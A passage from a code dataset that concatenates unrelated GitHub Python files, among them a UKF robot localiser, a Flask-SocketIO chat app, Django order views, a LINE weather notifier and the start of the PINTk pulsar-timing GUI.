mean_weights = np.zeros(self.numParticles)\n    cov_weights = np.zeros(self.numParticles)\n\n    print('num_state_vars', self.num_state_vars)\n\n    # set weights for mean sigma point\n    # mean_weights[0] = lmbda / (self.num_state_vars + lmbda)\n    cov_weights[0] = (lmbda / (self.num_state_vars + lmbda)\n                           + 1.0 - self.alpha**2.0 + self.beta)\n\n    # set other weights in filter\n    # mean_weights[1:] = 1.0 / (2 * (self.num_state_vars + lmbda))\n    cov_weights[1:]  = 1.0 / (2 * (self.num_state_vars + lmbda))\n    \n    mean_weights[0] = 1 / (self.num_state_vars + 1)\n    # cov_weights[0] = -2#1 / (self.num_state_vars + 1)\n\n    # set other weights in filter\n    mean_weights[1:] = (1.0 - mean_weights[0]) / (2 * (self.num_state_vars))\n    # cov_weights[1:]  = (1.0 - cov_weights[0]) / (2 * (self.num_state_vars))\n\n    return lmbda, gamma, mean_weights, cov_weights\n\n  # step 2, 6 in Probabilistic Robotics - generate new sigma points\n  def GenerateParticles(self, state, variance):\n    \"\"\" generate sigma particles \"\"\"\n\n    numParticles = self.numParticles\n\n    # create sigma points using the gamma offset\n    sigma_offsets = np.zeros((numParticles, self.num_state_vars))\n    offsets = self.gamma * np.abs(sqrtm(self.variance))\n\n    for i in range(self.num_state_vars):\n      sigma_offsets[i + 1,:] = offsets[i,:]\n      sigma_offsets[self.num_state_vars + i + 1, :] = -offsets[i,:]\n\n    # create particle object list\n    particles = numParticles*[0]\n\n    # get mean state and use it to create sigma points\n    x, y, theta = state[0][0], state[1][0], state[2][0]\n\n    for i in range(numParticles):\n      particles[i] = self.UKF_Particle(x + sigma_offsets[i][0] * np.cos(theta) - sigma_offsets[i][1] * np.sin(theta),\n                                       y + sigma_offsets[i][0] * np.sin(theta) + sigma_offsets[i][1] * np.cos(theta),\n                                       self.normalize_angle(theta + sigma_offsets[i][2]),\n                                       self.mean_weights[i])\n      p = particles[i]\n      #print('Particle','i',p.x,p.y,p.heading)\n    return particles\n\n  # step 3 in Probabilistic Robotics\n  def PropagateSigmaPoints(self, encoder_measurements, last_encoder_measurements):\n    \"\"\" propagate all sigma points to get next predictions \"\"\"\n\n    for p in self.particles:\n      delta_s, delta_heading = p.update_odometry(encoder_measurements,\n                                                 last_encoder_measurements)\n      p.update_state(delta_s, delta_heading)\n\n  # steps 4, 5 in Probabilistic Robotics\n  def PredictMeanAndCovariance(self):\n    \"\"\" perform a weighted calculation of the mean and covariance of the \n        propagated sigma point predictions \"\"\"\n\n    # data processing\n    particle_data = np.array([[p.x, p.y, math.cos(p.heading), math.sin(p.heading)] for p in self.particles])\n\n    # calculate mean state\n    mean_state, sum_avg = np.average(particle_data, axis=0, weights=self.mean_weights, returned=True)\n    heading = np.arctan2(mean_state[3], mean_state[2])\n    mean_state = np.array([mean_state[0], mean_state[1], heading]).reshape(3,1)\n\n    particle_data[:,2] = np.arctan2(particle_data[:,3], particle_data[:,2])\n    particle_data = particle_data[:,0:3]\n\n    # calculate new variance\n    variance = np.zeros((self.num_state_vars, self.num_state_vars))\n    for i in range(self.numParticles):\n      particle_data_vec = particle_data[i,:].reshape((3,1))\n      error = (particle_data_vec - mean_state)\n      # normalize heading\n      error[2] = self.normalize_angle(error[2])\n      variance = variance + np.dot(self.cov_weights[i], \n                                   np.dot(error,\n                                          np.transpose(error)))\n    variance = variance + PREDICTION_COVARIANCE\n\n    return mean_state.reshape(3,1), variance\n\n  # step 7 in Probabilistic Robotics\n  def CalculateExpectedMeasurements(self):\n    \"\"\" gets the expected measurements for all the sigma points \"\"\"\n\n    expected_measurements_m = np.zeros((self.numParticles, self.num_sensors))\n\n    for i in range(self.numParticles):\n      # x, y, theta = self.particles[i].x, self.particles[i].y, self.particles[i].heading\n\n      min_dist_right = min(self.FindMinWallDistance(self.particles[i], self.walls, self.sensor_orientation[RIGHT_SENSOR_ID]), self.FAR_READING)\n      min_dist_straight = min(self.FindMinWallDistance(self.particles[i], self.walls, self.sensor_orientation[STRAIGHT_SENSOR_ID]), self.FAR_READING)\n      min_dist_left = min(self.FindMinWallDistance(self.particles[i], self.walls, self.sensor_orientation[LEFT_SENSOR_ID]), self.FAR_READING)\n\n      expected_measurements_m[i][RIGHT_SENSOR_ID] = min_dist_right\n      expected_measurements_m[i][STRAIGHT_SENSOR_ID] = min_dist_straight\n      expected_measurements_m[i][LEFT_SENSOR_ID] = min_dist_left\n    #print(expected_measurements_m)\n\n    return expected_measurements_m\n\n  # step 8, 9 in Probabilistic Robotics\n  def SensorMeanAndCovariance(self, expected_measurements_m, prev_exp_measurement_variance):\n    \"\"\" get mean and covariance of sensor measurements \"\"\"\n    # calculate mean expected sensor measurements\n    expected_measurement_mean = np.average(expected_measurements_m, \n                                            axis=0, \n                                            weights=self.mean_weights).reshape((self.num_sensors,1))\n\n    # calculate new expected measurement variance\n    variance = np.zeros((CONFIG_NUM_SENSORS, CONFIG_NUM_SENSORS))\n    for i in range(self.numParticles):\n      error = expected_measurements_m[i,:].reshape((self.num_sensors,1)) - expected_measurement_mean\n      variance = variance + self.cov_weights[i] * np.dot(error, np.transpose(error))\n\n    expected_measurement_variance = variance + MEASUREMENT_COVARIANCE\n\n    return expected_measurement_mean, expected_measurement_variance\n\n  # step 10 in Probabilistic Robotics\n  # TODO: Does not change currently as a function of orientation?\n  def CalculateCrossCovariance(self,\n                               particles,\n                               state,\n                               expected_measurements_m,\n                               expected_measurement_mean):\n    \"\"\" calculate cross covariance between measurement estimates and state prediction \"\"\"\n\n    # calculate cross variance\n    cross_covariance = np.zeros((self.num_state_vars, CONFIG_NUM_SENSORS))\n    particle_data = np.array([[p.x, p.y, p.heading] for p in self.particles])\n    for i in range(self.numParticles):\n      state_error = particle_data[i,:].reshape((3,1)) - state\n      state_error[2] = self.normalize_angle(state_error[2])\n\n      exp_measurement_error = (expected_measurements_m[i,:].reshape((self.num_sensors,1)) - expected_measurement_mean).reshape((self.num_sensors,1))\n      cross_covariance = (cross_covariance \n                          + np.dot(self.cov_weights[i], \n                                   np.dot((state_error),\n                                          (np.transpose(exp_measurement_error)))))\n    return cross_covariance\n\n  def CalculateInnovation(self, sensor_readings, exp_measurement_mean,\n                          expected_measurements_m):\n    # initialize flag matrices for identifying sensors not to use\n    far_readings_ndx = np.ones(self.num_sensors, dtype=np.bool_)\n    exp_far_readings_ndx = np.zeros(self.num_sensors, dtype=np.bool_)\n\n    far_readings_ndx[sensor_readings[:,0] >= self.FAR_READING] = False\n\n    for i in range(self.numParticles):\n      exp_far_readings_ndx[expected_measurements_m[i,:] >= self.FAR_READING] = True\n      exp_far_readings_ndx[abs(expected_measurements_m[i,:] - sensor_readings)[:,0] > CONFIG_TOO_BIG_SENSOR_ERROR] = True\n      \n    # combines knowledge from sensors and expected measurements\n    use_sensor_flags = far_readings_ndx\n    use_sensor_flags[exp_far_readings_ndx] = False\n\n    innovation = np.zeros((self.num_sensors,1))\n\n    innovation[use_sensor_flags] = sensor_readings[use_sensor_flags] - exp_measurement_mean[use_sensor_flags]\n    return innovation\n\n\n\n  def LocalizeEst(self, \n                  encoder_measurements, \n                  last_encoder_measurements, \n                  sensor_readings):\n    ''' Localize the robot with particle filters. Call everything\n      Args: \n        delta_s (float): change in distance as calculated by odometry\n        delta_heading (float): change in heading as calculated by odometry\n        sensor_readings([float, float, float]): sensor readings from range fingers\n      Return:\n        None'''\n    if(abs(encoder_measurements[0] - last_encoder_measurements[0]) > 1000):\n      encoder_measurements = [0,0]\n      last_encoder_measurements = [0,0]\n    if self.delay % 15 == 16:\n      raise Exception('fifth step')\n    self.delay += 1\n\n    # convert sensor readings to distances (with max of 1.5m)\n    sensor_readings = np.array([min(reading, self.FAR_READING) for reading in sensor_readings]).reshape((self.num_sensors,1))\n    #print(sensor_readings)\n    # step 2 - identify sigma points at t-1\n    self.particles = self.GenerateParticles(self.state, self.variance)\n\n    # step 3 - propagate set of sigma points\n    self.PropagateSigmaPoints(encoder_measurements, last_encoder_measurements)\n\n    # step 4, 5 - calculate weighted means and covariance of sigma points\n    # this step is already complete in step 1 since all weights are equal\n    var1 = self.variance\n    #print('pre pre',self.state)\n    self.state, self.variance = self.PredictMeanAndCovariance()\n    #print('post pre',self.state)\n    # step 6 - identify sigma points at time t using predicted mean, covariance\n    self.particles = self.GenerateParticles(self.state, self.variance)\n\n    # step 7 - calculate the expected sensor measurements\n    expected_measurements_m = self.CalculateExpectedMeasurements()\n\n    # step 8, 9 - calculate mean and variance of expected sensor measurements\n    exp_measurement_mean, self.exp_measurement_variance = self.SensorMeanAndCovariance(expected_measurements_m,\n                                                                                       self.expected_measurement_variance)\n\n    # step 10 - calculate cross-covariance between predicted state and measurements\n    cross_covariance = self.CalculateCrossCovariance(self.particles, \n                                                     self.state, \n                                                     expected_measurements_m, \n                                                     exp_measurement_mean)\n\n    # step 11 - calculate Kalman gain\n    kalman_gain = np.dot(cross_covariance, np.linalg.inv(self.exp_measurement_variance))\n\n    # step 12, 13 - use actual measurements to calculate new state estimate, covariance\n    innovation = self.CalculateInnovation(sensor_readings, exp_measurement_mean, expected_measurements_m)\n\n    var2 = self.variance\n    self.state = self.state + np.dot(kalman_gain, innovation)\n    self.variance = self.variance - np.dot(kalman_gain, np.dot(self.exp_measurement_variance, np.transpose(kalman_gain)))\n\n    # print('variance before -> after -> after correction \\n', var1, '\\n', var2, '\\n', self.variance)\n    # print(self.delay, 'over \\n\\n\\n\\n')\n\n    state = E160_state(self.state[0][0], self.state[1][0], self.state[2][0])\n    return state\n\n\n\n  def FindMinWallDistance(self, particle, walls, sensorT):\n    ''' Given a particle position, walls, and a sensor, find \n      shortest distance to the wall\n      Args:\n        particle (E160_Particle): a particle \n        walls ([E160_wall, ...]): represents endpoint of the wall \n        sensorT: orientation of the sensor on the robot\n      Return:\n        distance to the closest wall' (float)'''\n\n    #Handle the off centeritude of the horizontal sensors\n    sensor_vertical_offset = 0 #straight sensor or in simulation\n    if CONFIG_IN_HARDWARE_MODE(CONFIG_ROBOT_MODE):\n      if sensorT > 0.1: #Left sensor\n        sensor_vertical_offset = CONFIG_LEFT_VERTICAL_OFFSET\n      elif sensorT < - 0.1:\n        sensor_vertical_offset = CONFIG_RIGHT_VERTICAL_OFFSET\n\n    temp_particle = self.UKF_Particle(0.0,0.0,particle.heading,1.0/self.numParticles)\n    temp_particle.x = particle.x + math.cos(particle.heading) * sensor_vertical_offset\n    temp_particle.y = particle.y + math.sin(particle.heading) * sensor_vertical_offset\n\n    return min([self.FindWallDistance(particle, wall, sensorT) for wall in walls])\n    \n  def FindWallDistance(self, particle, wall, sensorT):\n    ''' Given a particle position, a wall, and a sensor, find distance to the wall\n      Args:\n        particle (E160_Particle): a particle \n        wall ([float x4]): represents endpoint of the wall \n        sensorT: orientation of the sensor on the robot\n      Return:\n        distance to the closest wall (float)'''\n    sensor_heading = self.normalize_angle(particle.heading + sensorT)\n    sensor_slope = math.tan(sensor_heading)\n    sensor_intercept = particle.y - sensor_slope * particle.x\n    wall_slope, wall_intercept = wall.slope_intercept()\n\n    # if wall slope parallel to sensor slope, sensor will not sense wall\n    if wall_slope == sensor_slope:\n      return float('inf')\n\n    slope_diff = sensor_slope - wall_slope\n    intercept_diff = wall_intercept - sensor_intercept\n    x_val = intercept_diff/slope_diff\n\n    # if wall is perfectly vertical, x_vale must be same as wall x_val\n    if abs(wall_slope) > 1000:\n      x_val, _ =  wall.point1\n\n    # if sensor line is vertical, intersection will be at this x_point\n    if abs(sensor_slope) > 1000:\n      x_val = particle.x\n      y_val = wall_slope * x_val + wall_intercept\n    else:\n      y_val = sensor_slope * x_val + sensor_intercept\n    point = (x_val, y_val)\n    # ensure that sensor points towards wall (not other direction)\n\n\n    if(wall.contains_point(point)):\n      distance = math.sqrt((x_val-particle.x)**2 + (y_val-particle.y)**2)\n      if abs(math.atan2(particle.y - y_val, particle.x - x_val) - sensor_heading) >= CONFIG_HEADING_TOLERANCE:\n        return float('inf')\n      return distance\n    else:\n      return float('inf')\n\n  def normalize_angle(self, ang):\n    ''' Wrap angles between -pi and pi'''\n    ang = ang % (2 * math.pi)\n    while ang < -math.pi:\n      ang = ang + 2 * math.pi\n    while ang > math.pi:\n      ang = ang - 2 * math.pi\n    return ang\n\n  class UKF_Particle:\n    def __init__(self, x, y, heading, weight):\n      self.x = x\n      self.y = y\n      self.heading = heading\n      self.weight = weight\n      self.is_first_run = False\n      self.weight_memory = 20\n      self.recent_weights = [0] * self.weight_memory\n\n    def __str__(self):\n      return str(self.x) + \" \" + str(self.y) + \" \" + str(self.heading) + \" \" + str(self.weight)\n\n    # clean up this function\n    def update_odometry(self, encoder_measurements, last_encoder_measurements):\n\n      delta_s = 0\n      delta_heading = 0\n\n      left_encoder_measurement = encoder_measurements[0]\n      right_encoder_measurement = encoder_measurements[1] \n\n      last_left_encoder_measurement = last_encoder_measurements[0]\n      last_right_encoder_measurement = last_encoder_measurements[1]\n\n      delta_left =  float(left_encoder_measurement - last_left_encoder_measurement) #* rands[0]\n      delta_right = float(right_encoder_measurement - last_right_encoder_measurement) #* rands[1]\n\n      if self.is_first_run:\n          delta_right = 0\n          delta_left = 0\n          self.is_first_run = False\n\n      # cause the lab said so I like my name better\n      diffEncoder0 = delta_left\n      diffEncoder1 = delta_right\n\n      wheel_circumference = 2 * math.pi * CONFIG_WHEEL_RAD_M\n\n\n      # TODO: implement calibration from ticks to centimeters\n      # left_distance = (delta_left / self.encoder_resolution) * wheel_circumference\n      # right_distance = (delta_right / self.encoder_resolution) * wheel_circumference\n      left_distance  = delta_left  * CONFIG_CM_TO_M *  CONFIG_LEFT_CM_PER_SEC_TO_TICKS_PER_SEC_MAP[10]\n      right_distance = delta_right * CONFIG_CM_TO_M * CONFIG_RIGHT_CM_PER_SEC_TO_TICKS_PER_SEC_MAP[10]\n\n\n      delta_s = (left_distance + right_distance) / 2\n      delta_heading = (right_distance - left_distance) / (2 * CONFIG_ROBOT_RAD_M)\n\n\n      # set current measurements as the last for next cycle - happens in E160_robot.py\n      # self.last_encoder_measurements[0] = left_encoder_measurement\n      # self.last_encoder_measurements[1] = right_encoder_measurement\n          \n      # keep this to return appropriate changes in distance, angle\n      return delta_s, delta_heading \n\n    def update_state(self, delta_s, delta_heading):\n\n      self.x = self.x + math.cos(self.heading + delta_heading / 2) * delta_s\n      \n      self.y = self.y + math.sin(self.heading + delta_heading / 2) * delta_s\n\n      self.heading = self.normalize_angle(self.heading + delta_heading)\n\n    def normalize_angle(self, ang):\n      ''' Wrap angles between -pi and pi'''\n      while ang < -math.pi:\n        ang = ang + 2 * math.pi\n      while ang > math.pi:\n        ang = ang - 2 * math.pi\n      return ang\n\n","repo_name":"hmzh-khn/E160_Code","sub_path":"E160_UKF1.py","file_name":"E160_UKF1.py","file_ext":"py","file_size_in_byte":20649,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"37889829020","text":"from flask import Flask, render_template,request\nfrom flask_socketio import SocketIO,join_room, leave_room,send, emit\n\n\napp = Flask(__name__)\napp.config['SECRET_KEY'] = 'secret!'\nsocketio = SocketIO(app)\n\n@app.route('/', methods = ['GET','POST'])\ndef index():\n    return render_template('index.html')\n\n@app.route('/chat', methods = ['GET','POST'])\ndef chat():\n    name1 = request.form.get(\"Name\")\n    \n    return render_template('chat.html', name = name1)\n\n@socketio.on('message')\ndef handle_message(data):\n    print('received message: ' + data['data'])\n\n@socketio.on('snd-message')\ndef send_message(data):\n    print(data['name']+\" kewthkelrt \"+data[\"message\"])\n\n@socketio.on('join')\ndef on_join(data):\n    username = data['username']\n    room = data['room']\n    join_room(room)\n    send(username + ' has entered the room.', to=room)\n\n@socketio.on('leave')\ndef on_leave(data):\n    username = data['username']\n    room = data['room']\n    leave_room(room)\n    send(username + ' has left the room.', to=room)\n\nif __name__ == '__main__':\n    socketio.run(app)","repo_name":"mukul79/Chat-socketio","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1055,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"74129448739","text":"from django.contrib import messages\nfrom django.http import Http404\nfrom django.shortcuts import render, redirect\nfrom django.views.generic.edit import CreateView, FormView\nfrom django.views.generic.detail import DetailView\nfrom  django.views.generic.list import ListView\n# Create your views here.\n\nfrom .forms import AddressForm, UserAddressForm\nfrom .mixins import CartOrderMixin, LoginRequiredMixin\nfrom .models import UserAddress, UserCheckout, Order\n\n\nclass OrderDetail(DetailView):\n\tmodel = Order\n\n\tdef dispatch(self, request, *args, **kwargs):\n\t\ttry:\n\t\t\tuser_check_id = self.request.session.get(\"user_checkout_id\")\n\t\t\tuser_checkout = UserCheckout.objects.get(id=user_check_id)\n\t\texcept UserCheckout.DoesNotExist:\n\t\t\tuser_checkout = UserCheckout.objects.get(user=request.user)\n\t\texcept:\n\t\t\tuser_checkout = None\n\n\t\tobj = self.get_object()\n\t\tif obj.user == user_checkout and user_checkout is not None:\n\t\t\treturn super(OrderDetail, self).dispatch(request, *args, **kwargs)\n\t\telse:\n\t\t\traise Http404\n\n\n\n\nclass OrderList(LoginRequiredMixin, ListView):\n\tqueryset = Order.objects.all()\n\n\tdef get_queryset(self):\n\t\tuser_check_id = self.request.user.id\n\t\tuser_checkout = UserCheckout.objects.get(id=user_check_id)\n\t\treturn super(OrderList, self).get_queryset().filter(user=user_checkout)\n\n\n\n\nclass UserAddressCreateView(CreateView):\n\tform_class = UserAddressForm\n\ttemplate_name = \"forms.html\"\n\tsuccess_url = \"/checkout/address/\"\n\n\tdef get_checkout_user(self):\n\t\tuser_check_id = self.request.session.get(\"user_checkout_id\")\n\t\tuser_checkout = UserCheckout.objects.get(id=user_check_id)\n\t\treturn user_checkout\n\n\tdef form_valid(self, form, *args, **kwargs):\n\t\tform.instance.user = self.get_checkout_user()\n\t\treturn super(UserAddressCreateView, self).form_valid(form, *args, **kwargs)\n\n\n\nclass AddressSelectFormView(CartOrderMixin, FormView):\n\tform_class = AddressForm\n\ttemplate_name = \"orders/address_select.html\"\n\n\n\tdef dispatch(self, *args, **kwargs):\n\t\tb_address, s_address = self.get_addresses()\n\t\tif b_address.count() == 0:\n\t\t\tmessages.success(self.request, \"Please add a billing address before continuing\")\n\t\t\treturn redirect(\"user_address_create\")\n\t\telif s_address.count() == 0:\n\t\t\tmessages.success(self.request, \"Please add a shipping address before continuing\")\n\t\t\treturn redirect(\"user_address_create\")\n\t\telse:\n\t\t\treturn super(AddressSelectFormView, self).dispatch(*args, **kwargs)\n\n\n\tdef get_addresses(self, *args, **kwargs):\n\t\tuser_check_id = self.request.session.get(\"user_checkout_id\")\n\t\tuser_checkout = UserCheckout.objects.get(id=user_check_id)\n\t\tb_address = UserAddress.objects.filter(\n\t\t\t\tuser=user_checkout,\n\t\t\t\ttype='billing',\n\t\t\t)\n\t\ts_address = UserAddress.objects.filter(\n\t\t\t\tuser=user_checkout,\n\t\t\t\ttype='shipping',\n\t\t\t)\n\t\treturn b_address, s_address\n\n\n\tdef get_form(self, *args, **kwargs):\n\t\tform = super(AddressSelectFormView, self).get_form(*args, **kwargs)\n\t\tb_address, s_address = self.get_addresses()\n\n\t\tform.fields[\"billing_address\"].queryset = b_address\n\t\tform.fields[\"shipping_address\"].queryset = s_address\n\t\treturn form\n\n\tdef form_valid(self, form, *args, **kwargs):\n\t\tbilling_address = form.cleaned_data[\"billing_address\"]\n\t\tshipping_address = form.cleaned_data[\"shipping_address\"]\n\t\torder = self.get_order()\n\t\torder.billing_address = billing_address\n\t\torder.shipping_address = shipping_address\n\t\torder.save()\n\t\treturn  super(AddressSelectFormView, self).form_valid(form, *args, **kwargs)\n\n\tdef get_success_url(self, *args, **kwargs):\n\t\treturn \"/checkout/\"","repo_name":"codingforentrepreneurs/ecommerce-2","sub_path":"src/orders/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3483,"program_lang":"python","lang":"en","doc_type":"code","stars":168,"dataset":"github-code","pt":"35"}
{"seq_id":"15590861390","text":"# Gather stats about entered integers\n\ns = []\n\n# gather some numbers until q is entered\nwhile True:\n    v = input(\"number:\")\n    \n    # stop gathering numbers if q is entered\n    if v == \"q\":\n        break\n\n    # dont enter anything besides numbers and q or this will raise an exception\n    n = int(v)\n    s.append(n)\n\nprint()\nprint(\"numbers entered\")\nprint(s)\n\n# gather some number stats about the numbers entered\n# how many zeroes, single digit, and negative numbers were there?\nzero = 0\nsingle = 0\nnegative = 0\nfor n in s:\n    if n == 0:\n        zero += 1\n\n    if n >=0 and n <= 9:\n        single += 1\n\n    if n < 0:\n        negative += 1\n\n\nprint(f\"\"\"\nnumber stats\n\nzeroes:   {zero}\nsingles:  {single}\nnegative: {negative}\n\"\"\")\n    \n","repo_name":"wandyezj/wandyezj.github.io","sub_path":"code/python/integer_sample_list.py","file_name":"integer_sample_list.py","file_ext":"py","file_size_in_byte":736,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"35"}
{"seq_id":"33495272741","text":"import json\nimport requests\n\nURL = 'http://localhost:8080/control_server/'\n\nprint('Get all control servers')\nreq_data = {\n    'Action': 'GetControlServers',\n}\nr = requests.post(URL, data = req_data)\nprint(r.status_code, r.reason)\nprint(json.loads(r.text))\n\nprint('\\nInsert control server')\nreq_data = {\n    'Action': 'InsertControlServer',\n    'Data': json.dumps({\n        'IP': '127.0.0.1',\n        'Port': '1',\n        'Name': 'Test InsertControlServer'\n    })\n}\nr = requests.post(URL, data = req_data)\nprint(r.status_code, r.reason)\nprint(json.loads(r.text))\n\nprint('\\nUpdate control server')\njson_resp = json.loads(r.text)\nserver = json_resp['Data']\nreq_data = {\n    'Action': 'UpdateControlServer',\n    'ID': server['id'],\n    'Data': json.dumps({\n        'IP': '127.0.0.2',\n        'Port': '2',\n        'Name': 'Test UpdateControlServer'\n    })\n}\nr = requests.post(URL, data = req_data)\nprint(r.status_code, r.reason)\nprint(json.loads(r.text))\n\nprint('\\nDelete control server')\njson_resp = json.loads(r.text)\nserver = json_resp['Data']\nreq_data = {\n    'Action': 'DeleteControlServer',\n    'ID': server['id']\n}\nr = requests.post(URL, data = req_data)\nprint(r.status_code, r.reason)\nprint(json.loads(r.text))\n","repo_name":"ddhuy/cielo-webserver","sub_path":"WebServer/tests/control_server.py","file_name":"control_server.py","file_ext":"py","file_size_in_byte":1214,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"14584664322","text":"# Definition for a binary tree node.\n# class TreeNode(object):\n#     def __init__(self, x):\n#         self.val = x\n#         self.left = None\n#         self.right = None\n\nclass Solution(object):\n    def largestValues(self, root):\n        \"\"\"\n        :type root: TreeNode\n        :rtype: List[int]\n        \"\"\"\n        ret = []\n        if not root:\n            return ret\n        q = []\n        q.append(root)\n        max_val = -sys.maxint - 1\n        while len(q) != 0:\n            n = len(q)\n            max_val = -sys.maxint-1\n            for i in xrange(0, n):\n                tmpNode = q[0]\n                q.pop(0)\n                max_val = max(max_val, tmpNode.val)\n                if tmpNode.left:\n                    q.append(tmpNode.left)\n                if tmpNode.right:\n                    q.append(tmpNode.right)\n            ret.append(max_val)\n        return ret\n","repo_name":"xczhang07/leetcode","sub_path":"python/middle/find_largest_value_in_each_tree_row.py","file_name":"find_largest_value_in_each_tree_row.py","file_ext":"py","file_size_in_byte":876,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"40118596203","text":"import json\r\nimport requests\r\nfrom pprint import pprint\r\n\r\nTOKEN = \"TOKEN-KEY\"\r\n\r\n#APIのURL\r\napi_url =\"https://notify-api.line.me/api/notify\"\r\n\r\nweather_url =\"\" #任意のURL\r\n\r\njsondata = requests.get(weather_url).json()\r\n\r\nname = jsondata[\"name\"]\r\nweather = jsondata[\"weather\"][0][\"description\"]\r\ntemp = jsondata[\"main\"][\"temp\"]\r\nt_max = jsondata[\"main\"][\"temp_max\"]\r\nt_min = jsondata[\"main\"][\"temp_min\"]\r\n\r\nsend_contents = \"今日の\" + name + \"の天気は\" + weather + \"です。\\n\" + \"気温は\" + str(temp) + \"度。最高気温は\" + str(t_max) + \"度で最低気温は\" + str(t_min) + \"度です。\"\r\nTOKEN_dic = {\"Authorization\": \"Bearer\" + \" \" + TOKEN }\r\nsend_dic = {\"message\": send_contents }\r\n\r\nrequests.post(api_url, headers = TOKEN_dic, data = send_dic)\r\n","repo_name":"Tatsuya-Inoue926/Openweather-notify","sub_path":"Openweather_notify.py","file_name":"Openweather_notify.py","file_ext":"py","file_size_in_byte":771,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"6608187522","text":"#!/usr/bin/env python -W ignore::FutureWarning -W ignore::UserWarning -W ignore:DeprecationWarning\n\"\"\"Tkinter interactive interface for PINT pulsar timing tool\"\"\"\nimport argparse\nimport code\nimport logging\nimport os\nimport sys\n\nimport numpy as np\n\nimport tkinter as tk\nimport tkinter.filedialog as tkFileDialog\nimport tkinter.messagebox as tkMessageBox\nfrom tkinter import ttk\n\nfrom pint.pintk.paredit import ParWidget\nfrom pint.pintk.plk import PlkWidget, helpstring\nfrom pint.pintk.pulsar import Pulsar\nfrom pint.pintk.timedit import TimWidget\n\n__all__ = [\"main\"]\n\n\nclass PINTk:\n    \"\"\"Main PINTk window.\"\"\"\n\n    def __init__(self, master, parfile=None, timfile=None, ephem=None, **kwargs):\n        self.master = master\n        self.master.title(\"Tkinter interface to PINT\")\n\n        self.mainFrame = tk.Frame(master=self.master)\n        self.mainFrame.grid(row=0, column=0, sticky=\"nesw\")\n        self.master.grid_rowconfigure(0, weight=1)\n        self.master.grid_columnconfigure(0, weight=1)\n\n        self.maxcols = 2\n\n        self.createWidgets()\n        if parfile is not None and timfile is not None:\n            self.openPulsar(parfile=parfile, timfile=timfile, ephem=ephem)\n\n        self.initUI()\n        self.updateLayout()\n\n    def initUI(self):\n        # Create top level menus\n        top = self.mainFrame.winfo_toplevel()\n        self.menuBar = tk.Menu(top)\n        top[\"menu\"] = self.menuBar\n\n        self.fileMenu = tk.Menu(self.menuBar)\n        self.fileMenu.add_command(label=\"Open par/tim\", command=self.openParTim)\n        self.fileMenu.add_command(label=\"Switch model\", command=self.switchModel)\n        self.fileMenu.add_command(label=\"Switch TOAs\", command=self.switchTOAs)\n        self.fileMenu.add_command(label=\"Exit\", command=top.destroy)\n        self.menuBar.add_cascade(label=\"File\", menu=self.fileMenu)\n\n        self.viewMenu = tk.Menu(self.menuBar)\n        self.viewMenu.add_checkbutton(\n            label=\"Plk (C-p)\", command=self.updateLayout, variable=self.active[\"plk\"]\n        )\n        self.viewMenu.add_checkbutton(\n            label=\"Model Editor (C-m)\",\n            command=self.updateLayout,\n            variable=self.active[\"par\"],\n        )\n        self.viewMenu.add_checkbutton(\n            label=\"TOAs Editor (C-t)\",\n            command=self.updateLayout,\n            variable=self.active[\"tim\"],\n        )\n        self.menuBar.add_cascade(label=\"View\", menu=self.viewMenu)\n\n        self.helpMenu = tk.Menu(self.menuBar)\n        self.helpMenu.add_command(label=\"About\", command=self.about)\n        self.helpMenu.add_command(label=\"Plk Help\", command=lambda: print(helpstring))\n        self.menuBar.add_cascade(label=\"Help\", menu=self.helpMenu)\n\n        # Key bindings\n        top.bind(\"<Control-p>\", lambda e: self.toggle(\"plk\"))\n        top.bind(\"<Control-m>\", lambda e: self.toggle(\"par\"))\n        top.bind(\"<Control-t>\", lambda e: self.toggle(\"tim\"))\n        top.bind(\"<Control-o>\", lambda e: self.openParTim)\n\n    def createWidgets(self):\n        self.widgets = {\n            \"plk\": PlkWidget(master=self.mainFrame),\n            \"par\": ParWidget(master=self.mainFrame),\n            \"tim\": TimWidget(master=self.mainFrame),\n        }\n        self.active = {\"plk\": tk.IntVar(), \"par\": tk.IntVar(), \"tim\": tk.IntVar()}\n        self.active[\"plk\"].set(1)\n\n    def updateLayout(self):\n        for widget in self.mainFrame.winfo_children():\n            widget.grid_forget()\n\n        visible = 0\n        for key in self.active.keys():\n            if self.active[key].get():\n                row = int(visible / self.maxcols)\n                col = visible % self.maxcols\n                self.widgets[key].grid(row=row, column=col, sticky=\"nesw\")\n                self.mainFrame.grid_rowconfigure(row, weight=1)\n                self.mainFrame.grid_columnconfigure(col, weight=1)\n                visible += 1\n\n    def openPulsar(self, parfile, timfile, ephem=None):\n        self.psr = Pulsar(parfile, timfile, ephem)\n        self.widgets[\"plk\"].setPulsar(\n            self.psr,\n            updates=[self.widgets[\"par\"].set_model, self.widgets[\"tim\"].set_toas],\n        )\n        self.widgets[\"par\"].setPulsar(self.psr, updates=[self.widgets[\"plk\"].update])\n        self.widgets[\"tim\"].setPulsar(self.psr, updates=[self.widgets[\"plk\"].update])\n\n    def switchModel(self):\n        parfile = tkFileDialog.askopenfilename(title=\"Open par file\")\n        self.psr.parfile = parfile\n        self.psr.reset_model()\n        self.widgets[\"plk\"].update()\n        self.widgets[\"par\"].set_model()\n\n    def switchTOAs(self):\n        timfile = tkFileDialog.askopenfilename()\n        self.psr.timfile = timfile\n        self.psr.reset_TOAs()\n        self.widgets[\"plk\"].update()\n        self.widgets[\"tim\"].set_toas()\n\n    def openParTim(self):\n        parfile = tkFileDialog.askopenfilename(title=\"Open par file\")\n        timfile = tkFileDialog.askopenfilename(title=\"Open tim file\")\n        self.openPulsar(parfile, timfile)\n\n    def toggle(self, key):\n        self.active[key].set((self.active[key].get() + 1) % 2)\n        self.updateLayout()\n\n    def about(self):\n        tkMessageBox.showinfo(\n            title=\"About PINTk\", message=\"A Tkinter based graphical interface to PINT\"\n        )\n\n\ndef main(argv=None):\n    parser = argparse.ArgumentParser(\n        description=\"Tkinter interface for PINT pulsar timing tool\"\n    